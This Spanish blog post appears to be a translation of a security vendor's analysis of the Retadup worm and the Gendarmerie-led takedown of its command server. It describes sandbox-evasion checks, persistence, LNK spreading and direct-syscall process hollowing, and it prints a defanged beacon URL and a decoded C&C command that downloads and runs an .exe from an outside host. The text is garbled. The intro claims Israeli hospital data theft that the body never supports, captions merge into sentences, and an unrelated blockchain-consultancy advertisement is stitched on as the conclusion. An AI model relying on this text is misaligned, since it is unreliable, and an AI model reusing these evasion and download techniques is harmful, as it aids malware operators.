Posted by Monero (XMR) está nuevamente en las noticias en relación con el malware.
Finance Magnates acaba de informar que hay un gusano que se origina en algún lugar de París y se llama Retadup. Este malware robó datos de hospitales en Israel.
El virus infectó alrededor de 850 mil dispositivos de todo el mundo
Retadup es un gusano malicioso que afecta a las máquinas Windows en toda América Latina. Su objetivo es lograr la persistencia en las computadoras de sus víctimas, extenderse a lo largo y ancho e instalar cargas de malware adicionales en las máquinas infectadas. En la gran mayoría de los casos, la carga útil instalada es una pieza de criptomoneda de minería de malware en nombre de los autores del malware. Sin embargo, en algunos casos, también hemos observado que Retadup distribuye el ransomware Stop y el ladrón de contraseñas Arkei.
Compartimos nuestra inteligencia sobre amenazas en Retadup con el Centro de Lucha contra el Cibercrimen (C3N) de la Gendarmería Nacional Francesa, y propusimos una técnica para desinfectar a las víctimas de Retadup. De acuerdo con nuestras recomendaciones, C3N desmanteló un servidor de comando y control malicioso (C&C) y lo reemplazó con un servidor de desinfección. El servidor de desinfección respondió a las solicitudes de bot entrantes con una respuesta específica que provocó la autodestrucción de partes conectadas del malware. Al momento de publicar este artículo, la colaboración ha neutralizado más de 850,000 infecciones únicas de Retadup.
Este artículo comenzará con un cronograma del proceso de desinfección. Las secciones posteriores contendrán más detalles técnicos sobre Retadup y el minero malicioso que está distribuyendo.
Cronograma
A pesar de que hemos tenido firmas de detección para Retadup antes, solo comenzamos a monitorear su actividad de cerca en marzo de 2019. Como parte de nuestra investigación de inteligencia de amenazas, siempre buscamos activamente malware que utiliza técnicas avanzadas en un intento de evitar nuestra detección. En ese momento, un minero malicioso de criptomonedas de Monero despertó nuestro interés debido a su avanzada implementación de proceso sigiloso. Comenzamos a investigar cómo se distribuye este minero a sus víctimas y descubrimos que lo estaba instalando un gusano AutoIt / AutoHotkey llamado Retadup.
Después de analizar más detenidamente Retadup, encontramos que si bien es muy frecuente, su protocolo de comunicación C&C es bastante simple. Identificamos una falla de diseño en el protocolo C&C que nos hubiera permitido eliminar el malware de las computadoras de sus víctimas si hubiéramos tomado el control de su servidor C&C. Esto hizo posible poner fin a Retadup y proteger a todos de él, no solo a los usuarios de Avast (tenga en cuenta que si bien a menudo es posible limpiar infecciones de malware al hacerse cargo de un servidor C&C y enviar un script de «eliminación de malware» a las víctimas a través de el canal de ejecución de código arbitrario establecido por el malware, la falla de diseño que encontramos no implicaba hacer que las víctimas ejecutaran ningún código adicional).
La infraestructura de C&C de Retadup se encontraba principalmente en Francia, por lo que decidimos contactar a la Gendarmería Nacional Francesa a fines de marzo para compartir nuestros hallazgos con ellos. Propusimos un escenario de desinfección que implicaba hacerse cargo de un servidor de C&C y abusar de la falla de diseño de C&C para neutralizar Retadup. Les gustó nuestra idea y han abierto un caso sobre Retadup.
Mientras la Gendarmería presentaba el escenario de desinfección al fiscal, estábamos ocupados analizando Retadup con más detalle. Creamos un programa de seguimiento simple que nos notificaría cuando hubiera una nueva variante de Retadup o si comenzara a distribuir nuevas cargas maliciosas a sus víctimas. Luego probamos el escenario de desinfección propuesto localmente y discutimos los riesgos potenciales asociados con su ejecución. La Gendarmería también obtuvo una instantánea del disco del servidor C&C de su proveedor de alojamiento y compartió partes de él con nosotros para que pudiéramos comenzar a realizar ingeniería inversa del contenido del servidor C&C. Por obvias razones de privacidad, solo se nos dio acceso a partes del servidor de C&C que no contenían información privada sobre las víctimas de Retadup. Tenga en cuenta que tuvimos que tener mucho cuidado de no ser descubiertos por los autores del malware (al tomar instantáneas del servidor C&C y al desarrollar el rastreador). Hasta este punto, los autores de malware distribuían principalmente mineros de criptomonedas, lo que generaba un ingreso pasivo muy bueno. Pero si se dieron cuenta de que estábamos a punto de eliminar Retadup en su totalidad, podrían haber introducido el ransomware en cientos de miles de computadoras mientras intentaban extraer su malware para obtener algunas últimas ganancias.
Los hallazgos del análisis de la instantánea obtenida del servidor C&C fueron bastante sorprendentes. Todos los archivos ejecutables en el servidor fueron infectados con el Neshta fileinfector. Los autores de Retadup se infectaron accidentalmente con otra cepa de malware. Esto solo prueba un punto que hemos estado tratando de hacer, con buen humor, durante mucho tiempo: los autores de malware deberían usar una protección antivirus sólida. Avast Antivirus los habría protegido de Neshta. Como efecto secundario, también puede haberlos protegido (y a otros) de su propio malware. Alternativamente, también podrían haber utilizado nuestra herramienta gratuita de eliminación de Neshta .
En julio de 2019, la Gendarmería recibió la luz verde del fiscal, lo que significa que podían proceder legalmente con la desinfección. Reemplazaron el servidor C&C malicioso con un servidor de desinfección preparado que hizo que las instancias conectadas de Retadup se autodestruyeran. En el primer segundo de su actividad, varios miles de bots se conectaron a él para obtener comandos del servidor. El servidor de desinfección respondió a ellos y los desinfectó, abusando de la falla de diseño del protocolo C&C.
Algunas partes de la infraestructura de C&C también se ubicaron en los EE. UU. La Gendarmería alertó al FBI que los eliminó, y el 8 de julio los autores de malware ya no tenían ningún control sobre los robots de malware. Dado que era responsabilidad del servidor de C&C dar trabajos de minería a los bots, ninguno de los bots recibió nuevos trabajos de minería para ejecutar después de este derribo. Esto significaba que ya no podían agotar el poder informático de sus víctimas y que los autores de malware ya no recibían ninguna ganancia monetaria de la minería.
Los bots Retadup enviaron mucha información sobre las máquinas infectadas al servidor de C&C. Como teníamos acceso limitado a una instantánea del servidor, pudimos obtener información agregada sobre las víctimas de Retadup. La información más interesante para nosotros fue la cantidad exacta de infecciones y su distribución geográfica. Hasta la fecha, hemos neutralizado más de 850,000 infecciones únicas de Retadup, y la gran mayoría se encuentra en América Latina. Dado que los autores de malware extrajeron criptomonedas en las computadoras de las víctimas, estaban naturalmente interesados en la potencia informática de las máquinas infectadas. Pudimos determinar que las computadoras más infectadas tenían dos o cuatro núcleos (el número promedio de núcleos de computadoras infectadas era 2.94) y que la mayoría de las víctimas usaban Windows 7. Más del 85% de las víctimas de Retadup tampoco tenían instalado un software antivirus de terceros. Algunos también lo desactivaron, lo que los dejó completamente vulnerables al gusano y les permitió propagar aún más la infección sin darse cuenta. Debido a que generalmente solo podemos proteger a los usuarios de Avast, fue muy emocionante para nosotros también ayudar a proteger al resto del mundo del malware a una escala tan masiva.
Presumir anónimamente en Twitter
A pesar de cientos de miles de máquinas infectadas por Retadup, parece que el gusano nunca recibió la atención que merecía de la comunidad de seguridad. Trend Micro publicó una serie de artículos técnicos sobre Retadup en 2017 y 2018. Curiosamente, los autores de Retadup decidieron presumir sobre su malware en Twitter. Crearon una cuenta de Twitter desechable @radblackjoker y respondieron a la investigación de Trend Micro sobre Retadup con exclamaciones como o . En un caso, los autores incluso respondieron con una captura de pantalla que muestra el controlador C&C Its my baby <3its my worm i invented it hehehe :D i will rule the world soome day :(.
Al principio, teníamos algunas dudas sobre la legitimidad de esta cuenta de Twitter, pero después de obtener el código fuente de los componentes de C&C de Retadup, quedó claro que esta captura de pantalla y, en consecuencia, la cuenta de Twitter, eran genuinas.
Dado que no hay instrucciones sobre cómo quitar Retadup estaban disponibles de la industria de seguridad, un montón de independientes de eliminación de tutoriales surgió en línea. En YouTube, los cinco principales videos instructivos de eliminación de Retadup tienen más de 250,000 vistas combinadas. Dada la distribución geográfica de las infecciones por Retadup, no es sorprendente que estén principalmente en español. Si bien estos tutoriales generalmente tratan solo una variante específica de Retadup, las instrucciones dadas en ellos deberían funcionar bastante bien, y parecieron ayudar a mucha gente. Desafortunadamente, estos tutoriales solo tratan con las variantes AutoIt de Retadup. También hay otras variantes, que están escritas en AutoHotkey, para las cuales no encontramos tutoriales. Esto probablemente se deba a que el malware en las variantes de Autolt se guarda en nombres de archivo que se pueden buscar fácilmente, por lo que es fácil para las víctimas encontrar un tutorial de eliminación. Por otro lado, casi todas las cadenas en las variantes de AutoHotkey son aleatorias, por lo que las víctimas probablemente no saben cómo y dónde buscar ayuda.
Detalles técnicos
AutoIt / AutoHotkey core
Dado que Retadup ha estado en desarrollo activo durante años, existen muchas variantes diferentes de su núcleo en la naturaleza. La mayoría de estas variantes son muy similares en funcionalidad y solo difieren en cómo se implementa la funcionalidad. El núcleo está escrito en AutoIt o AutoHotkey. En ambos casos, consta de dos archivos: el intérprete de lenguaje de script limpio y el propio script malicioso. Esto contrasta con la mayoría de las cepas de malware de AutoIt hoy en día, que generalmente se componen de un solo ejecutable malicioso que contiene tanto el intérprete como el script malicioso. En las variantes de AutoHotkey de Retadup, el script malicioso se distribuye como código fuente, mientras que en las variantes de AutoIt, el script primero se compila y luego se distribuye. Afortunadamente, dado que el código de bytes AutoIt compilado es de muy alto nivel,
El núcleo sigue el mismo flujo de trabajo simple en la mayoría de las variantes. Primero, verifica si ya se está ejecutando otra instancia de Retadup. Si es así, sale silenciosamente para que solo se ejecute una única instancia de Retadup en un momento dado. Luego realiza algunas comprobaciones básicas para ver si se está analizando. Si detecta que está bajo análisis, también sale en silencio. Posteriormente, logra la persistencia e intenta extenderse. Finalmente, ingresa a un bucle infinito en el que regularmente sondea el servidor de C&C en busca de comandos y si recibe un comando de C&C, ejecuta un controlador para el comando recibido. Al contactar con los C&C, también realiza periódicamente otros intentos de propagación y restaura sus mecanismos de persistencia.
Hay muchas comprobaciones antianálisis y su implementación específica difiere en varias variantes de Retadup. Casi todas las muestras de Retadup primero verifican la ruta del sistema de archivos desde la que se ejecutan. Si la ruta del intérprete o la ruta del script difieren de lo esperado, el script no realiza ninguna acción maliciosa. La mayoría de las muestras también implementan una forma de retrasar su ejecución. Al comienzo de su ejecución, realizan un solo sueño largo o una serie de muchos sueños cortos. Finalmente, algunas variantes también verifican si los procesos con nombres como vmtoolsd.exe o se procmon.exeestán ejecutando, si los directorios con nombres como C:\CWSandbox\o C:\cuckoo\existen y si los módulos con nombres como SbieDll.dllo api_log.dllestán cargados en el proceso actual.
C:\fcdurarluwwzawbwjwhcv\vumrjearhgatsbrqeesyz.txty no hará nada malicioso si detecta que se está ejecutando desde una ruta que es obviamente diferente.Retadup logra la persistencia creando un valor de registro HKCU\Software\Microsoft\Windows\CurrentVersion\Runy / o creando una tarea programada. La tarea programada se crea utilizando la schtasks.exeutilidad y está configurada para ejecutarse cada minuto. Las variantes de AutoIt de Retadup generalmente usan nombres de valores de registro codificados , mientras que las variantes de AutoHotkey tienden a usar valores de registro y tareas programadas con nombres generados aleatoriamente.
Retadup se propaga principalmente soltando LNKarchivos maliciosos en unidades conectadas. Cuando se está extendiendo, Retadup itera sobre todas las unidades conectadas donde no está la letra asignada C. Luego, revisa todas las carpetas que se encuentran directamente en la carpeta raíz de la unidad seleccionada actualmente. Para cada carpeta, crea un LNKarchivo que se supone que imita la carpeta real y engaña a los usuarios para que lo ejecuten. El LNKarchivo se crea con el mismo nombre que la carpeta original, con solo una cadena corta como copy fpl.lnkadjunta. Retadup también copia el intérprete limpio AutoIt / AutoHotkey y el script malicioso en un directorio oculto / del sistema, ubicado en una ruta codificada en relación con el LNKarchivo descartado . Cuando se ejecuta, elLNKel archivo ejecutará el script malicioso utilizando el intérprete AutoIt / AutoHotkey descartado. Los LNKarchivos descartados esencialmente imitan los archivos ya existentes de los usuarios y parecen tener éxito al convencer a muchos de ellos de que son solo atajos benignos. Hemos recibido cientos de informes falsos positivos erróneos sobre LNKarchivos maliciosos creados por Retadup.
LNKarchivo ejecutará el malware desde la carpeta oculta / del sistema cuando se ejecute.Cada muestra de Retadup está configurada con un conjunto de nombres de dominio y puertos C&C . La muestra los contacta individualmente haciéndoles una solicitud HTTP GET. Cada vez que se realiza dicha solicitud, la muestra codifica cierta información sobre la víctima en la ruta de la URL solicitada. Si bien el contenido exacto y la forma de la información codificada varía en diferentes variantes de Retadup, todas las variantes de Retadup codifican la identificación de una víctima al comienzo del camino. Por ejemplo, una muestra de AutoHotkey en nuestro entorno de prueba envió una solicitud a:
En este ejemplo, la mayoría de las partes de la ruta URL se codifican usando una combinación de codificación Base64 y hexadecimal (la muestra utiliza una implementación personalizada de Base64 y, en algunos casos, agrega un relleno adicional para que no se adhiera estrictamente a la especificación Base64). Después de la decodificación, la ruta se vería así:
http://newalpha.alphanoob[.]com:9898/347565217WI/1/Microsoft Windows 7 Ultimate/DESKTOP-0123456/test/rad//0/0
En la URL «decodificada» anterior, 347565217WIestá la identificación de la víctima (que es solo el número de serie del disco duro concatenado con la versión de Windows truncada a una longitud fija), 1es la versión de Retadup, Microsoft Windows 7 Ultimatees el título del sistema operativo, DESKTOP-0123456es el nombre de la computadora, testes el nombre de usuario, rades la identificación del distribuidor de malware, el siguiente campo contiene el software AV instalado (no había ninguno en la máquina de análisis de malware), el penúltimo 0significa que el malware no se está propagando activamente, y el último 0significa que el componente minero no se está ejecutando.
El servidor C&C analiza la información de la ruta de la solicitud GET recibida y envía una respuesta HTTP similarmente ofuscada que contiene el comando para ejecutar. La codificación exacta de la respuesta varía en diferentes variantes de Retadup, pero veamos un ejemplo de respuesta que los C&C enviaron a la variante AutoHotkey más prevalente.
::623274386648783849475276643235736232466b4c576830644841364c7939356257466b4c6e566e4c33526c633342305979396a617938314e4463314c6d56345a546f684f6e4e76633238755a58686c4c575276643235736232466b::
Después de decodificarlo de manera similar a la solicitud HTTP, obtenemos:
ok|||| download-http://ymad[.]ug/tesptc/ck/5475.exe:!:soso.exe-download
Este comando le indica a la víctima que descargue un archivo http://ymad[.]ug/tesptc/ck/5475.exe, lo coloque en la carpeta del malware debajo del nombre del archivo soso.exey lo ejecute. La mayoría de los comandos contienen un prefijo y un sufijo que identifican el comando ( download-y -downloaden el caso anterior) y los argumentos del comando están encerrados entre ellos separados por el :!:delimitador. Por alguna razón, el sufijo para el comando de actualización está -updateen algunas variantes y -updateeen otras.
El conjunto de comandos admitidos actualmente es bastante pequeño: solía haber más de ellos en variantes anteriores. Los autores probablemente se dieron cuenta de que no necesitan los otros comandos y querían mantener su malware más simple. Los comandos más frecuentes actualmente son:
Update:descarga una variante más reciente de Retadup y reemplaza la variante anterior de Retadup con ellaDownload:descarga y ejecuta una carga útil adicional, ya sea un script AutoIt / AutoHotkey o un archivo PESleep:hace que el malware espere un tiempo específicoUpdateself:hace que el script se mute polimórficamente (antepone una sola línea de comentario aleatorio y renombra algunos de sus nombres de variables ofuscadas)
La forma en que el comando de descarga ejecutó cargas de PE adicionales a menudo usaba múltiples capas de indirección. En lugar de descargar y ejecutar la carga útil de PE directamente, primero se obtuvo un script de AutoIt. Incrustado en el script AutoIt había un shellcode capaz de cargar un archivo PE incorporado. El shellcode se copió en la memoria ejecutable asignada a través de VirtualAlloc. La función AutoItDllCallAddressluego se usó para transferir el control al código de shell que a su vez cargó y pasó el control a la carga útil final de PE. El propósito de esta indirección era presumiblemente evitar dejar caer la carga útil de PE al disco, lo que habría aumentado las posibilidades de detección. Pero el flujo de trabajo descrito anteriormente no se usó exclusivamente. En algunos otros casos, también hemos observado que el script AutoIt descarga directamente un archivo PE, elimina su identificador de zona y lo ejecuta directamente desde el disco.
Antes de la ejecución de algunas cargas útiles, también hemos observado que Retadup intenta abusar de los métodos conocidos de omisión de UAC .
Dado que el núcleo se distribuye en forma de código fuente AutoHotkey o AutoIt bytecode (que es fácil de descompilar), los autores intentaron ofuscarlo para dificultar el análisis. En su mayor parte, utilizaron ofuscadores AutoIt / AutoHotkey disponibles públicamente. El más difícil para nosotros para desofuscar fue CodeCrypter. CodeCrypter cifra las cadenas con AES. El descifrado AES se realiza mediante un código de shell personalizado (hay una variante de 32 bits y una de 64 bits). El shellcode se carga en la memoria del proceso del intérprete AutoIt. Como está incrustado en el script en forma comprimida, primero se descomprime mediante otro código de shell, esta vez es código de la popular biblioteca de descompresión aPLib. La clave AES utilizada para cifrar cadenas se ofusca y se cifra con otra clave.CallWindowProcfuncionan user32.dllcomo trampolín. CodeCrypter lo llama y pasa la dirección del shellcode para llamar como su primer argumento. CallWindowProcllama internamente a la dirección señalada por su primer argumento y le pasa los siguientes argumentos, por lo que esta es una buena manera de llamar a código nativo arbitrario sin utilizar funciones sospechosas de AutoIt como DllCallAddress. CodeCrypter también cambia el nombre de todas las variables y funciones definidas por el usuario a cadenas de aspecto aleatorio. Todos estos nuevos nombres también comparten el mismo prefijo y sufijo, lo que hace que sea visualmente difícil distinguirlos sin renombrarlos.
Servidor C&C
Para los investigadores de malware, el servidor C&C es siempre una gran caja negra. Cada parte del código en el cliente puede tener ingeniería inversa y entenderse, pero aunque podemos tener una idea bastante buena sobre lo que está sucediendo en el servidor de C&C, generalmente es imposible comprender completamente su lógica del lado del servidor. Por esta razón, estábamos muy emocionados cuando la Gendarmería compartió el código del controlador C&C de Retadup con nosotros. No obtuvimos un volcado completo del contenido del servidor, por lo que no fue posible realizar análisis forenses informáticos, pero pudimos aprender mucho sobre el malware mediante ingeniería inversa del controlador.
Lo primero que nos interesó fue si hubo alguna verificación anti-análisis del lado del servidor. Estos suelen ser bastante molestos ya que pueden impedir que analicemos los C&C desde el exterior o incluso deliberadamente hacer que los C&C nos presenten información falsa. Resultó que los autores de malware no se molestaron en implementar ninguno de estos trucos antianálisis. Lo único que obstaculizó nuestro análisis fue que el servidor realizó un seguimiento de qué comandos se enviaron a qué víctimas y solo envió cada comando a cada víctima una vez.
El servidor C&C se implementa en Node.js y la información sobre las víctimas se almacena en una base de datos MongoDB . Hay once versiones distintas del servidor C&C, cada una en su propia carpeta, con su propia base de datos, escuchando en su propio puerto, al mando de una única variante de Retadup. Cada versión también contiene su propio controlador, que es básicamente una GUI escrita en Node.js que permite a los operadores de malware dar comandos a los bots y muestra algunas estadísticas sobre las víctimas.
En cada solicitud GET de un bot de malware, el C&C primero busca la identificación de la víctima en su base de datos. Si aún no está allí, crea un nuevo registro para él. Luego almacena la información de la ruta URL a la base de datos. También guarda la dirección IP de la víctima, el país (identificado por la dirección IP) y la hora actual. Luego, mira a la víctima lcmid. Este campo contiene el tiempo de creación del último comando que se envió a la víctima. A continuación, se ve si tiene un comando más nuevo para el bot que el identificado por él lcmid. Si descubre uno, el comando más nuevo se envía a la víctima. De lo contrario, solo sleepse envía un comando simple .
Curiosamente, el servidor también aceptó las solicitudes GET a la ruta /rad(que parece ser un apodo de uno de los autores del malware) y respondió con la cantidad de víctimas que son de Perú.
Los autores probablemente no estaban seguros de su posición en el argumento pestañas versus espacios, por lo que se utilizaron tanto pestañas como espacios en el controlador. A veces, la sangría del código fuente era tan mala que enfurecería incluso a los ingenieros de software más indulgentes.
El servidor C&C también contenía un controlador .NET para un AutoIt RAT llamado HoudRat. Al observar muestras de HoudRat, está claro que HoudRat es solo una variante de Retadup más rica en características y menos prevalente. HoudRat es capaz de ejecutar comandos arbitrarios, registrar pulsaciones de teclas, tomar capturas de pantalla, robar contraseñas, descargar archivos arbitrarios y más.
También descubrimos que XMRig Proxy se estaba ejecutando en el servidor en los puertos 9556, 667 y 666 (infectar a cientos de miles de víctimas involuntarias probablemente no era lo suficientemente diabólico). Como su nombre indica, el Proxy XMRig representa el tráfico entre los bots mineros y un grupo de minería. Consolida el tráfico de varios bots, por lo que para el grupo de minería parece que solo hay un par de trabajadores. En el momento en que se tomó la instantánea del servidor C & C, los autores de malware extraídos en la minexmr.compiscina de la minería (pero a partir de otros archivos de configuración XMRig guardado es claro que también experimentaron con pool.supportxmr.com, nicehash.com, xmrpool.net, pool.minergate.comyminexcash.com) Si bien Monero está diseñado para no ser rastreable, los grupos de minería a menudo publican una API que permite a cualquiera ver cuánto ha ganado un minero determinado. Dado que el nombre de usuario del grupo a menudo se selecciona como una dirección de destino de Monero (en este caso lo fue 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQp35WaoCS1UURfQP9z), podemos ver que los autores del malware extrajeron 53.72 XMR (~ 4,200 USD al momento de publicar este artículo) durante el mes cercano a la dirección anterior estaba activo Tenga en cuenta que también podrían haber extraído otros grupos con los otros representantes durante el mismo período, por lo que las ganancias reales de la minería probablemente fueron más altas.
Carga útil del minero
La carga útil del minero viene como un archivo PE de 32 bits y, a menudo, está lleno de varios empaquetadores / encriptadores. Para mantener esta publicación de blog más corta, nos centramos en la muestra desempaquetada 9c46a0e48ea9b104f982e5ed04735b0078938866e3822712b5a5374895296d08, pero también hay otras variantes del minero que son ligeramente diferentes. La funcionalidad general de esta carga útil es más o menos lo que esperamos de los mineros furtivos maliciosos comunes. Descifra un archivo XMRig PE en la memoria y lo inyecta en un proceso recién creado a través del proceso de vaciado. También genera dinámicamente un archivo de configuración XMRig, lo deja en el disco y lo pasa al proceso recién creado. XMRig’s donate-levelestá configurado en 0 para no compartir ninguna ganancia minera con los desarrolladores de XMRig. El malware también evita la minería cuandotaskmgr.exese está ejecutando para que sea más difícil para los usuarios detectar su mayor uso de CPU. El proceso que inyecta XMRig también actúa como un perro guardián. Si el proceso de trabajo inyectado finaliza por algún motivo, el proceso de vigilancia genera un nuevo proceso de trabajo para reemplazarlo.
wuapp.exe) se cierra cuando se abre el Administrador de tareas y comienza de nuevo cuando se cierra el Administrador de tareas. También tenga en cuenta cómo el proceso de vigilancia ( retadup_miner.exe) reinicia rápidamente el proceso minero cuando se elimina.Como ya se mencionó, el aspecto más interesante sobre este minero desde nuestra perspectiva fue el método de inyección. En un nivel lo suficientemente alto, la inyección es solo un proceso regular de vaciado. Se crea un proceso suspendido, sus secciones originales no están asignadas, el archivo PE inyectado se asigna en su lugar (con sus reubicaciones e importaciones resueltas) y el proceso se reanuda. Sin embargo, si bien el proceso de vaciado a menudo se implementa llamando a funciones de nivel superior como WriteProcessMemoryo NtMapViewOfSection, el minero opta por una forma sigilosa adicional de usar las llamadas del sistema directamente. Esto es mucho más difícil de implementar que el proceso de vaciado regular, pero probablemente les permite a los autores eludir los enganches de algunas soluciones de seguridad.
La mayoría de las implementaciones regulares del proceso de vaciado utilizan directamente funciones no documentadas exportadas desde ntdll(como NtUnmapViewOfSection) para lograr la inyección del proceso. Sin embargo, muchas soluciones de seguridad de punto final pueden detectar este método de inyección al enganchar funciones bien conocidas. Por lo tanto, algunas piezas de malware (como Formbook ) cargan una segunda copia ntdllen su memoria y llaman a las funciones exportadas a ntdlltravés de esta copia (esto también se conoce como el método de «Isla de Lagos»). La idea detrás de esto es que la nueva copia de ntdll(que a menudo se lee directamente del disco) podría no contener los ganchos que contenía la copia original, por lo que el software de seguridad podría no ver qué funciones llamó el malware.
El método descrito anteriormente para la «Isla de Lagos» de usar una copia nueva y desenganchada ntdllse usa en este minero, pero también va un paso más allá. Las funciones relacionadas con el proceso de vaciado no se invocan mediante la copia de ntdll. En cambio, el minero analiza el cuerpo de esas funciones y extrae sus números correspondientes de syscall (en Windows, los números de llamada del sistema pueden cambiar entre versiones, por lo que no pueden codificarse simplemente en la muestra). Una vez que el malware tiene el número de syscall necesario, simplemente llama a la syscall directamente usando las sysenterinstrucciones.
ntdll.Esto es posible ya que la mayoría de las ntdllfunciones utilizadas son simples envoltorios alrededor de la llamada al sistema. El resultado de esto es que el malware no llama a ninguna función exportada, por lo que los ganchos habituales del usuario probablemente no interceptarán el uso de estas «funciones».
NtResumeThread. Observe cómo la llamada al sistema se realiza de manera diferente en función del bitness del sistema operativo.Dado que el minero es un archivo PE de 32 bits, el método descrito anteriormente funciona bien en sistemas de 32 bits. ¿Pero qué hay de WoW64? Seguramente el minero no puede simplemente llamar a syscalls de 64 bits desde un código de 32 bits. En su lugar, utiliza la llamada técnica Heaven’s Gate para salir de la capa de emulación WOW64. Una vez que el malware atraviesa Heaven’s Gate y ejecuta un código de 64 bits, puede llamar a un syscall de 64 bits directamente y luego volver al código de 32 bits. El uso de la técnica Heaven’s Gate también permite al minero inyectar la versión de 64 bits de XMRig desde el subsistema WoW64.
El minero en sí no usa ninguna ofuscación especial (los autores probablemente asumieron que las criptas que han usado serán suficientes). Sin embargo, el código donde se crea el archivo de configuración XMRig contiene cadenas encriptadas con el cifrado Vigenère utilizando una clave codificada. Esto parece un esfuerzo básico para dificultar un poco la reutilización del minero. De lo contrario, sería trivial para otros autores de malware parchear la dirección que recibe los ingresos mineros y usar el minero para sus propios fines nefastos.
Conclusión
¿Buscas implementar Blockchain? ¡Hablemos!
Ingmar Frey Ros, quien es Socio Fundador de Avocado Blockchain Services nos comparte al blog de cryptohabanero.
En este artículo vimos que un conocimiento técnico, costos operativos muy bajos y poco riesgo de ser atrapado (en este caso, el uso indebido de un software legítimo de código abierto para la minería de criptomonedas y el aprovechamiento de sistemas operativos antiguos que no tienen los parches necesarios instalados) pueden ser suficientes para que el atacante se asegure un buen resultado.
Como tomadores de decisiones y funcionarios de alto rango, conocer todo sobre blockchain y su implementación comercial podría cosechar ricas recompensas para las organizaciones. Los casos de uso potencial, la estandarización, la comercialización y otros procesos discutidos en este artículo proporcionan una visión general de todo el proceso. Si usted como tomador de decisiones está buscando implementar blockchain en su organización, ahora es el momento de actuar.
Citando a uno de los socios fundadores de Avocado Blockchain Services, Ray Cámara Sánchez nos comparte que:
A veces se necesita muy poco para ganar mucho y esto es especialmente cierto en el mundo actual de la ciberseguridad, donde incluso las vulnerabilidades bien documentadas, conocidas y advertidas siguen siendo una oportunidad muy eficaz para los atacantes debido a la imprudencia de muchos usuarios.
En Avocado nuestro proceso de análisis de casos de uso y la realización de un extenso estudio comercial para adaptar soluciones basadas en blockchain robustas y escalables ha sido ampliamente reconocido. Ya sea por cuestiones de seguridad o arquitectónicas, Avocado Blockchain Services lo hace todo de la mejor manera posible.
Autor: Daniel Sánchez
Debe estar conectado para enviar un comentario.